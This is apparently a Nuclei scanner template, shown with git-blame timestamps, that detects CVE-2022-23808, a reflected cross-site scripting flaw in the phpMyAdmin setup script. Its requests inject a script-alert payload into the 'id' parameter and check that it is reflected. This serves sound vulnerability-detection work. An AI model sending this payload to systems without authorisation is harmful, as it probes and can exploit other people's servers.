2022-02-14 11:43:04 +00:00
id : CVE-2022-23808
info :
2022-02-28 21:30:49 +00:00
name : phpMyAdmin < 5.1.2 - Cross-Site Scripting
2022-02-14 11:43:04 +00:00
author : cckuailong
severity : medium
2022-03-08 17:36:49 +00:00
description : An issue was discovered in phpMyAdmin 5.1 before 5.1.2 that could allow an attacker to inject malicious code into aspects of the setup script, which can allow cross-site or HTML injection.
2022-02-14 11:43:04 +00:00
reference :
- https://mp.weixin.qq.com/s/c2kwxwVUn1ym7oqv9Uio_A
- https://github.com/dipakpanchal456/CVE-2022-23808
- https://nvd.nist.gov/vuln/detail/CVE-2022-23808
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2022-23808
cwe-id : CWE-79
2022-03-03 11:39:21 +00:00
tags : cve,cve2022,phpmyadmin,xss
2022-02-14 11:43:04 +00:00
requests :
- method : GET
path :
- "{{BaseURL}}/setup/index.php?page=servers&mode=test&id=\">'><script>alert(document.domain)</script>"
2022-03-03 11:39:21 +00:00
- "{{BaseURL}}/phpmyadmin/setup/index.php?page=servers&mode=test&id=\">'><script>alert(document.domain)</script>"
2022-02-14 11:43:04 +00:00
2022-03-03 11:39:21 +00:00
stop-at-first-match : true
2022-02-14 11:43:04 +00:00
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
part : header
words :
- "text/html"
- type : word
part : body
words :
- "\">'><script>alert(document.domain)</script>"
2022-02-28 21:30:49 +00:00
2022-03-08 17:36:49 +00:00
# Enhanced by mp on 2022/03/08